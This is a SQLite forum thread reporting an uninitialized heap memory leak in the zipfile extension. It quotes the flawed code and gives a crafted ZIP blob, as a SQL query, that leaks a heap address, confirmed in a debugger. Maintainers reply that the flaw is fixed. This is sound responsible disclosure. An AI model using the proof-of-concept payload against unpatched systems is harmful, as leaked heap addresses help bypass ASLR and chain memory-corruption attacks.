Possible uninitialized heap memory leak in zipfile extension
(1) By cnwangjihe on 2025-12-06 16:46:32 [source]
Hello, I recently discovered a minor security issue in the zipfile extension. It appears it could lead to the leakage of heap memory.
When zipfileInflate performs decompression, it allocates heap memory using sqlite3_malloc. The size of this allocation is determined by szUncompressed from the CDS of the provided ZIP file. Then it calls inflate to decompress the data. However, the final size of the output blob is set directly to szUncompressed. It does not calculate the actual size of the decompressed data using str.avail_out.
Since the input ZIP file is untrusted, the szUncompressed value might be larger than the actual size of the data after inflation. Because the allocated aRes heap memory is not initialized, this mismatch can result in the leakage of uncleaned sensitive data from the heap. For example, it could leak various memory addresses which might be used to bypass ASLR or assist in exploiting other memory corruption vulnerabilities.
/* sqlite/ext/misc/zipfile.c, commit 989e8933920fb0c66361b97519cb4fac7fdb4d6f */
985 | static void zipfileInflate(
986 | sqlite3_context *pCtx, /* Store result here */
987 | const u8 *aIn, /* Compressed data */
988 | int nIn, /* Size of buffer aIn[] in bytes */
989 | int nOut /* Expected output size */
990 | ){
991 | u8 *aRes = sqlite3_malloc(nOut);
992 | if( aRes==0 ){
993 | sqlite3_result_error_nomem(pCtx);
994 | }else{
995 | int err;
996 | z_stream str;
997 | memset(&str, 0, sizeof(str));
998 |
999 | str.next_in = (Byte*)aIn;
1000 | str.avail_in = nIn;
1001 | str.next_out = (Byte*)aRes;
1002 | str.avail_out = nOut;
1003 |
1004 | err = inflateInit2(&str, -15);
1005 | if( err!=Z_OK ){
1006 | zipfileCtxErrorMsg(pCtx, "inflateInit2() failed (%d)", err);
1007 | }else{
1008 | err = inflate(&str, Z_NO_FLUSH);
1009 | if( err!=Z_STREAM_END ){
1010 | zipfileCtxErrorMsg(pCtx, "inflate() failed (%d)", err);
1011 | }else{
/* ISSUE HERE:
The blob size is set to nOut (szUncompressed) regardless of how many bytes were actually inflated.
If nOut > actual_inflated_size, the tail of aRes contains uninitialized heap data.
*/
1012 | sqlite3_result_blob(pCtx, aRes, nOut, zipfileFree);
1013 | aRes = 0;
1014 | }
1015 | }
1016 | sqlite3_free(aRes);
1017 | inflateEnd(&str);
1018 | }
1019 | }
1076 | static int zipfileColumn(
1080 | ){
1081 | ZipfileCsr *pCsr = (ZipfileCsr*)cur;
1082 | ZipfileCDS *pCDS = &pCsr->pCurrent->cds;
1083 | int rc = SQLITE_OK;
1084 | switch( i ){
1105 | case 5: { /* data */
1106 | if( i==4 || pCDS->iCompression==0 || pCDS->iCompression==8 ){
1107 | int sz = pCDS->szCompressed;
1108 | int szFinal = pCDS->szUncompressed;
1109 | if( szFinal>0 ){
1128 | if( rc==SQLITE_OK ){
1129 | if( i==5 && pCDS->iCompression ){
1130 | zipfileInflate(ctx, aBuf, sz, szFinal);
Below is an example demonstrating the leak of a heap pointer. I performed this test using the latest commit 989e893. The same result occurs in the latest official compiled Linux CLI version. We can observe that a heap address 0A072FBFE9550000 -> 0x000055e9bf2f070a is leaked in the data, and I have confirmed this using a debugger.
SQLite version 3.52.0 2025-12-05 19:45:43
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> select replace(hex(zeroblob(10000)), '00', x'1111111111111111');select hex(data) from zipfile(x'504b03041400000008002ea1865ba0f6a1c4060000001100000001001c00315554090003f71c3469e61c346975780b000104e803000004e80300004b4c44055c00504b01021e031400000008002ea1865ba0f6a1c40600000000080000010018000000000001000000b48100000000315554050003f71c346975780b000104e803000004e8030000504b0506000000000100010047000000410000000000');
┌──────────────────────────────────────────────────────────────────────────────────┐
│ replace(hex(zeroblob(10000)), '00', x'1111111111111111') │
├──────────────────────────────────────────────────────────────────────────────────┤
│unistr('\u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\ │
│u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\ │
│u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\ │
│u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\u0011\u00... │
└──────────────────────────────────────────────────────────────────────────────────┘
┌──────────────────────────────────────────────────────────────────────────────────┐
│ hex(data) │
├──────────────────────────────────────────────────────────────────────────────────┤
│'616161616161616161616161616161610A072FBFE9550000111111111111111111111111111111111│
│1111111111111111111111111111111111111111111111111111111111111111111111111111111111│
│1111111111111111111111111111111111111111111111111111111111111111111111111111111111│
│111111111111111111111111111111111111111111111111111111... │
└──────────────────────────────────────────────────────────────────────────────────┘
sqlite>
pwndbg> vmmap 0x000055e9bf2f070a
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File
0x55e9a3bba000 0x55e9a3bbb000 rw-p 1000 0 [anon_55e9a3bba]
► 0x55e9bf271000 0x55e9bf303000 rw-p 92000 0 [heap] +0x7f70a
0x7fafbae65000 0x7fafbb14e000 r--p 2e9000 0 /usr/lib/locale/locale-archive
This is my first time reporting an issue to SQLite. The official website suggests reporting issues on the forum first. Considering that this issue cannot be exploited in isolation and requires the attacker to control the ZIP file input, I believe the severity is low. Also, the zipfile extension is usually enabled by default only in the SQLite CLI and not in the standard dynamic library. Therefore, I decided to post it here directly. Apologies if this is not the right place for this report.
(2) By Stephan Beal (stephan) on 2025-12-06 17:07:14 in reply to 1 [link] [source]
The official website suggests reporting issues on the forum first.
That's correct. Thank you for the detailed report - it will get the attention it deserves.
(3) By Stephan Beal (stephan) on 2025-12-07 23:08:36 in reply to 1 [link] [source]
I recently discovered a minor security issue in the zipfile extension.
My understanding is that src:9766b47beb resolves the issue. Please report back if you discover otherwise.
(4) By cnwangjihe on 2025-12-08 03:49:27 in reply to 3 [link] [source]
Thanks, this commit solves the issue.